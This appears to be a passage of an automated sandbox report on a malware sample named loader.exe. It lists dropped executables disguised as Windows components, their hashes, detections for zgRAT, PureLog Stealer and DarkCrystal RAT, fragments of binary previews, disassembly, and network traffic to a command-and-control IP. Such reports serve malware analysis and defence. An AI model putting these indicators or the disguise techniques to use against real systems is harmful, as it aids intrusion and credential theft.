Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Windows\DiagTrack\Scenarios\21b1a557fd31cc

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	76
Entropy (8bit):	5.366091329119195
Encrypted:	false
SSDEEP:	3:Hi1TUvQK1Nx01qhDdcoAx1XmaHLN6AUUqn:C1TUIkL3eoAPzHkSqn
MD5:	0BBB88B51F8BB1F41C821814ADA2FBA5
SHA1:	035DD7FD425F3A885B8723C2309AC6F7669CB9A8
SHA-256:	DE8460304720B50CC9CE403C5E84DB85D4292EE8AAC76CFB6AAC75CBA3F88C9F
SHA-512:	FB2718B06DB6828476274D2AC754C3EB26E56A6F7F925D9C39D2D7050BA45D96C0C265D0CAD39FA891874AA079BE11555E808B761B7FB5F4580110574EF61D0D
Malicious:	false
Preview:	2nFGW7gi6xqeqr3ktuXMKYwDZUKVHShKBIQPZODfWneb2yIp4PDc0T3e0BrCwLbnPfdhbnKeq1zg

C:\Windows\DiagTrack\Scenarios\dasHost.exe

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960448
Entropy (8bit):	7.549634788914284
Encrypted:	false
SSDEEP:	49152:rmEq5m1AfIGxLnCllU3WU8zMYCNCsr+QKujfx:rmEq5GGxLnIlP2NgQKGfx
MD5:	CF5B49706562BA2047CDA4A451DD573A
SHA1:	D7D66016B5EA4215581F208C7972B2FF49CBEED1
SHA-256:	74547E5B862BD3691947B78EABBDAB88C468E26144BD03911BE68941376DC89B
SHA-512:	0DC54FC8AFE4A1B8CE0D72E215CF617DBC657F4E02CABE7BE694B0D20BE385F63848E49717BD4856547DBB52F8A762E54C63323B53188CC1D8127C54B6A10F1E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\DiagTrack\Scenarios\dasHost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....LTg............................N.... ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B................0.......H...........................h...}........................................0..........(.... ........8........E........<.......`...8....(.... ........8....(.... ....~{...{\|...9....& ....8....(.... ....~{...{....9....& ....8........0.......... ........8........E....;...............G...86...~....(W... .... .... ....s....~....([....... ....8....r...ps....z....~....(_...~....(c... ....?.... ....~{...{....9j...& ....8_......... ....8O...~....:.... ....~{...{l...91...& ....8&.....(.

C:\Windows\LiveKernelReports\9e8d7a4ca61bd9

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with very long lines (871), with no line terminators
Category:	dropped
Size (bytes):	871
Entropy (8bit):	5.90529679902115
Encrypted:	false
SSDEEP:	24:oEXcy431mB6Hc1A1SyZy3dsEaQzc19rqyK97PJ0uQDX:oucJ3W6F1SyZBEaOCOyKf0uQDX
MD5:	4D7188DBC9EAB320E39F59F524422241
SHA1:	CD7FEF61728510A3588621EC80C8314E5A9149AE
SHA-256:	94CA180B0F21EC392DB6BD76CFC768CC5EA641898E3C5067566113C4D8EA9213
SHA-512:	8109F7ABA4B8A7C58BF8BF955BF092FC7F7F724BA6834F99AE29F2AAA489720911C9C33F30D1A190CAF9CBF1DC893B1F005924F21FDC80F93BFE42CD05EB5156
Malicious:	false
Preview:	Q9EuOG98NOlDKjI5X4uh8mhXEiMtYpRMzsHusd6w5mopTzZQB1hWov3ocrpp4Qjh6YObbXM488mV71EOJ5rhI5hDydSBxQ1oDGt4k7ynomXpJiqkmag8jBZA0Ln8FLHsH7S1IKoLGE3gi14QwrYWt3FBrsDZU0hcfoiMPzccwV1fI2c8QWLYwu9N1RJZGO0QgbB3SsA7P6jXCk2yPEI8pJpupVU8pCVifl8r1jpiVNJ0KmLQYUJBF1kWvQO7XBRMlB1amL6qYkmbAzjCKDkV3TdnAl5kVsLU66PJuuoMYdnePIW6rLxUb6TRiNaAPVVqZSfDkaRZYY7Zq8Y2P93J512An7lhUo6CI6F7nSWQ3X5D93kjzhvQcLuiZfamzuFub4Rt2bP6nnQi5zAuXBrw3qk7MhhH2ubIRKlEm0rYSyny5MmkepOyDT1vUUhV3HE2LHQuN6IgUTdECvB947nMfnF8T0tRTVeLuunx51WhhseuzwsjSha6d1XiBSbXN0N8ySURIOEDlGpxJVIgHJ9v5ir3XEvma8Trff5hcabEcXVXMkZqK4QE1bDQkb4Dcbnmw7SnZlEqr5SiNUqxoFcfsP0Dcp6BgYlAtslORvQizjW5IfCQuHYX9H3gHOLupDKTTRyescf2y3pI3457mpQY9OBmyEGDkf3wZCm0qihRmfiFbumNTOI9wvUEQLpnVcSSA3t0REQEI9wdp5KDc3tWX4Anshke236KNPFiBw5P7D1x90YVBlLcs55F3FHuevMOCmQazmCp7eZTDMo2IPdQsdbSU9p6oLvM1muWk8fZjgfOglCqaPlPR5gjK8Fz6GAwsMcacSSJtEqL8Nvt68fZjg45GLLl3pcdftfTImO

C:\Windows\LiveKernelReports\RuntimeBroker.exe

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960448
Entropy (8bit):	7.549634788914284
Encrypted:	false
SSDEEP:	49152:rmEq5m1AfIGxLnCllU3WU8zMYCNCsr+QKujfx:rmEq5GGxLnIlP2NgQKGfx
MD5:	CF5B49706562BA2047CDA4A451DD573A
SHA1:	D7D66016B5EA4215581F208C7972B2FF49CBEED1
SHA-256:	74547E5B862BD3691947B78EABBDAB88C468E26144BD03911BE68941376DC89B
SHA-512:	0DC54FC8AFE4A1B8CE0D72E215CF617DBC657F4E02CABE7BE694B0D20BE385F63848E49717BD4856547DBB52F8A762E54C63323B53188CC1D8127C54B6A10F1E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\LiveKernelReports\RuntimeBroker.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....LTg............................N.... ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B................0.......H...........................h...}........................................0..........(.... ........8........E........<.......`...8....(.... ........8....(.... ....~{...{\|...9....& ....8....(.... ....~{...{....9....& ....8........0.......... ........8........E....;...............G...86...~....(W... .... .... ....s....~....([....... ....8....r...ps....z....~....(_...~....(c... ....?.... ....~{...{....9j...& ....8_......... ....8O...~....:.... ....~{...{l...91...& ....8&.....(.

C:\Windows\Performance\WinSAT\DataStore\b8bba6a6aa94c9

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	ASCII text, with very long lines (649), with no line terminators
Category:	dropped
Size (bytes):	649
Entropy (8bit):	5.885071594411007
Encrypted:	false
SSDEEP:	12:ZuNp8fdRh4vQxzpVL4jQ31+1JlccwS4VMoNYJq5/3i+IIASw:gNpAR+IxVJuQ3M13ZIbNYoZ3i+IIAD
MD5:	3511A44FB064121721D60BE01E1AAA17
SHA1:	906564440FF602995ADAA88DDF64E0B261A1155B
SHA-256:	0703EAEB2EE1B3BBA50E21683E2297F81BD32ED620F02D6A25A9F8ED5AB74E88
SHA-512:	CD676413997A634EB8789DFB8B1050D39135330B2939D0ADD43BA9986401F54487224BF91304D0007F122E2344A29BC0260E4D67838AD9CB3D1FB79A202FBED5
Malicious:	false
Preview:	Lsid28q3Z8U0w1BWt4ARxrg0Ly5wZUjODOCHsSxzkNIf91XY1gw4E30eMsRDD4eFZGxiy4obHLqjjA0Ubg52hpJJXi4AAuvqtDG3Ezk62Vx2MR5M17mh8lht6nKQ9naWZ9zf47Ql68AM2R7GnsJDHOsIfW6boT7O5adNbZR3rAkAlV1ppDnQeXOKRr9hBz6mAvQcxupNaPVHnrhKeQvlqruiLS5tZu22D8AzEZ25YZzPBHhkKzDuEV5TBsQey5xqWdDorrFFYzMR2ehEvUjkrIysDqxWJXHdlI2hD23ct7VOJobgKMtdVN9OpVlA3t5Bstptm9A2bH1twjjYPRL6nnHYJn1sQ2jACUgZ8r4KM0COWQcGwMumh9YFmRk9IRmih1rcDJaiXAuwk2C2Lv6DI6cC5bxrH4C4OdqfiADmwMOhOletOrxWUialYogmWsac7ziHMhTKsTR5r4yU6EcZGpjpCFG4daQEvwjYDWgrXnoBRe3dzMpRPAVSP2EGaZrRDMJ5VZRjhvCdBiYhMmERv8yvbRIKRaQ85W8EU8Ia5Fue81Qreg4yUZfEYYeDQGRHeDiokTNNeoWqOTwjAbqvfcng03p6dEKzxnA4TlGKTqUqCzzFm4DyZglBaBxqnQuZeh2lS2PZU

C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe

Download File

Process:	C:\ServerWinRuntimeBroker\chainPorthostCommon.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1960448
Entropy (8bit):	7.549634788914284
Encrypted:	false
SSDEEP:	49152:rmEq5m1AfIGxLnCllU3WU8zMYCNCsr+QKujfx:rmEq5GGxLnIlP2NgQKGfx
MD5:	CF5B49706562BA2047CDA4A451DD573A
SHA1:	D7D66016B5EA4215581F208C7972B2FF49CBEED1
SHA-256:	74547E5B862BD3691947B78EABBDAB88C468E26144BD03911BE68941376DC89B
SHA-512:	0DC54FC8AFE4A1B8CE0D72E215CF617DBC657F4E02CABE7BE694B0D20BE385F63848E49717BD4856547DBB52F8A762E54C63323B53188CC1D8127C54B6A10F1E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Windows\Performance\WinSAT\DataStore\tQESKTdysPpsVzUyXTE.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....LTg............................N.... ... ....@.. .......................`............@.....................................K.... .. ....................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc... .... ......................@....reloc.......@......................@..B................0.......H...........................h...}........................................0..........(.... ........8........E........<.......`...8....(.... ........8....(.... ....~{...{\|...9....& ....8....(.... ....~{...{....9....& ....8........0.......... ........8........E....;...............G...86...~....(W... .... .... ....s....~....([....... ....8....r...ps....z....~....(_...~....(c... ....?.... ....~{...{....9j...& ....8_......... ....8O...~....:.... ....~{...{l...91...& ....8&.....(.

C:\Windows\System32\CSCE59377155588453BA4975E271891CFF.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	1224
Entropy (8bit):	4.435108676655666
Encrypted:	false
SSDEEP:	24:OBxOysuZhN7jSjRzPNnqNdt4+lEbNFjMyi07:COulajfqTSfbNtme
MD5:	931E1E72E561761F8A74F57989D1EA0A
SHA1:	B66268B9D02EC855EB91A5018C43049B4458AB16
SHA-256:	093A39E3AB8A9732806E0DA9133B14BF5C5B9C7403C3169ABDAD7CECFF341A53
SHA-512:	1D05A9BB5FA990F83BE88361D0CAC286AC8B1A2A010DB2D3C5812FB507663F7C09AE4CADE772502011883A549F5B4E18B20ACF3FE5462901B40ABCC248C98770
Malicious:	false
Preview:	.... ...........................\|...<...............0...........\|.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...T.....I.n.t.e.r.n.a.l.N.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...\.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...S.e.c.u.r.i.t.y.H.e.a.l.t.h.S.y.s.t.r.a.y...e.x.e...4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0....................................<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">.. <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>.. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">.. <securi

C:\Windows\System32\SecurityHealthSystray.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	3.9486045583653926
Encrypted:	false
SSDEEP:	48:6VJzPt5M7Jt8Bs3FJsdcV4MKe27qd4iE76xvqBHWOulajfqXSfbNtm:APYPc+Vx9MqJE76xvkwcjRzNt
MD5:	FF4FED55573F11D253BEB119AF2C3564
SHA1:	BF959EF84A8F86AF3E60084769A38CBB9CF2DBCA
SHA-256:	35020EB13BA8ADB2D91438101826E9BE2126C71A3C8DEC3404E8AC772A17B36D
SHA-512:	D98C602628EA002CA471047DB5277CF48982D3B0FD771B22419EE71F35C0BB5B522B017BAD97533C8A5C9343E5C467CA0971CDB5892DA0ECC3B7BB64943A609C
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.............................'... ...@....@.. ....................................@.................................T'..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..,.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.........#GUID....... ...#Blob...........WU........%3................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.786697028237252
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXaTX9QvPEr0fbAXXKvpMP0qvj:Vx993DEURRysXj
MD5:	7F230AC816B49FC9D0A7233F6805145D
SHA1:	1F0100ABA2A45D7CF8BD1BA052D33EFA4C53F9DE
SHA-256:	47635E19C36142437C2A224E100CD96D5378895DCF0A8EBF9D6C1C0EEBB53078
SHA-512:	1FAE8688EE2B61365D30664E932291906F3BCC77B1AB9B3A3187613E71E912D9577F02654BC5BF9D17EE4B4F12A8DF62D5BE08848FCF453EBCE69E2A09D9BA30
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 11/01/2025 02:16:08..02:16:08, error: 0x80072746.02:16:13, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.785550696535967
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	loader.exe
File size:	3'314'471 bytes
MD5:	2307ca04c2633d28345fb0580c77c2ec
SHA1:	edbd1f092ed03cb2674877aba6e874722ee07814
SHA256:	168637ea64d64afefd1f88b91ffecb74715ccb6a98acf73d4a16175511628276
SHA512:	c2646c5bf3dcd6ef4679af80ae6424c1f88e3f29a40beff729b59bebd8fd3d9b0d45392d2e11f4e1b69ada0f4ec20cfc45430d184cdf0238f2845b7deaff7e9b
SSDEEP:	98304:ups+iZyomWShz+6WumEq5GGxLnIlP2NgQKGfxx:ndZOhNWumEqxLIB21K6H
TLSH:	24E5E0195AD24E37C27467324597103D43A0D7767D72EB1A360F20E2A903BB6CBB62B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	1767d1b1b1d46917

Static PE Info

General

Entrypoint:	0x403e50
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	d89f3dcdac0c8dba11dc1162435bedbb

Entrypoint Preview

Instruction
call 00007F7D4C7C4D76h
jmp 00007F7D4C7C4B8Eh
push 0044BB60h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [00466ECCh]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
int3
int3
int3
add esp, 04h
jmp 00007F7D4CBB292Fh
out dx, al
add byte ptr [edi], cl
mov bh, bh
push ebp
cmp byte ptr [ebx], ah
pop eax
call far 7520h : BE5F4EFAh
inc ecx
ret
pop ebp
xchg byte ptr [B763C74Bh], dh
inc esi
stosb
mov al, byte ptr [8DF537CAh]
mov word ptr [eax], fs
push ebx
lahf
push ecx
pop ecx
rcl dword ptr [ecx+7Bh], FFFFFFCCh
jc 00007F7D4C7C4D7Ah
mov byte ptr [ecx+2B28726Dh], dl
dec edi
dec esp
sar byte ptr [edx], 1
cmp ecx, dword ptr [ecx+esi*2+61h]
cdq
jnl 00007F7D4C7C4CC0h
pop ebp
std
movsb
push ebp
in al, 24h
adc ah, byte ptr [edx]
cmp al, F9h
pop esi
outsd
lodsb
imul ecx, dword ptr [edx+eax*2], 63A9D3FCh
inc ebx
mov bh, 62h
jo 00007F7D4C7C4D04h

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x30e020	0x34	cheat
IMAGE_DIRECTORY_ENTRY_IMPORT	0x30e054	0x210	cheat
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7d000	0x12aec	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x30e000	0xc	cheat
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x32000	0x1be00	8fe0979436817318cbc0e9cefcfd6da8	False	0.997276135089686	data	7.9966173970846315	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x33000	0xb000	0x4800	1f89350db9659affeed8b007e363a875	False	0.9948459201388888	data	7.980672042041817	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x3e000	0x25000	0x800	ef9ca6049a80a49fd3f9d2ad4b52d97d	False	0.91162109375	data	7.4680767408434345	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x63000	0x1000	0x200	8a6f114c8b2a3ee64ca1d82d6be339e8	False	0.4453125	data	3.7813580233499082	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x64000	0x16000	0x2600	e0a332328574052591e79b2a921f110b	False	0.9833470394736842	data	7.940310001309214	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x7a000	0x3000	0x2000	e39ec2ca62447a50635a635042b41792	False	0.9580078125	data	7.847280090655699	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7d000	0x13000	0x12c00	28cfe84555d1d637f43a1088bab53028	False	0.9374609375	data	7.86163703105012	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x90000	0x27e000	0x2ba00	03227782dc57116467257c779fd82c72	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cheat	0x30e000	0xe7000	0xe6600	0e69e40f60ca9471cb4b6a5a0a0ba889	False	0.9968048443434617	data	7.983850693923614	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64524	0xb45	data	English	United States	1.0038128249566725
PNG	0x6506c	0x15a9	data	English	United States	0.9710354815351194
RT_ICON	0x7d524	0x10de5	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			1.0004486706323361
RT_DIALOG	0x77400	0x286	empty	English	United States	0
RT_DIALOG	0x77688	0x13a	empty	English	United States	0
RT_DIALOG	0x777c4	0xec	empty	English	United States	0
RT_DIALOG	0x778b0	0x12e	empty	English	United States	0
RT_DIALOG	0x779e0	0x338	empty	English	United States	0
RT_DIALOG	0x77d18	0x252	empty	English	United States	0
RT_STRING	0x8e30c	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x8e4f0	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x8e6bc	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x8e874	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x8e9bc	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x8ee28	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x8ef90	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x8f0e4	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x8f1f0	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x8f2ac	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x8f384	0x14	Targa image data - Map 32 x 3557 x 1 +1			1.1
RT_MANIFEST	0x8f398	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
gdiplus.dll	GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:43:15.910693+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.6	56905	37.44.238.250	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:43:06.121644020 CET	55549	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:06.126566887 CET	53	55549	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:06.126667023 CET	55549	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:06.131515980 CET	53	55549	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:06.601691961 CET	55549	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:06.606973886 CET	53	55549	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:06.607115984 CET	55549	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:14.671838045 CET	56904	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:14.676744938 CET	53	56904	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:14.676846027 CET	56904	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:14.676865101 CET	56904	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:14.681694984 CET	53	56904	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:15.187534094 CET	53	56904	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:15.198729038 CET	56904	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:15.203850031 CET	53	56904	1.1.1.1	192.168.2.6
Jan 11, 2025 06:43:15.203938961 CET	56904	53	192.168.2.6	1.1.1.1
Jan 11, 2025 06:43:15.210632086 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:15.215467930 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:15.215596914 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:15.226346016 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:15.231122017 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:15.583816051 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:15.588722944 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:15.863224983 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:15.910692930 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:15.942276001 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:15.942298889 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:15.942451000 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:15.979217052 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:15.994406939 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.179730892 CET	80	56905	37.44.238.250	192.168.2.6
Jan 11, 2025 06:43:16.180250883 CET	56905	80	192.168.2.6	37.44.238.250
Jan 11, 2025 06:43:16.185133934 CET	80	56905	37.44.238.250	192.168.2.6
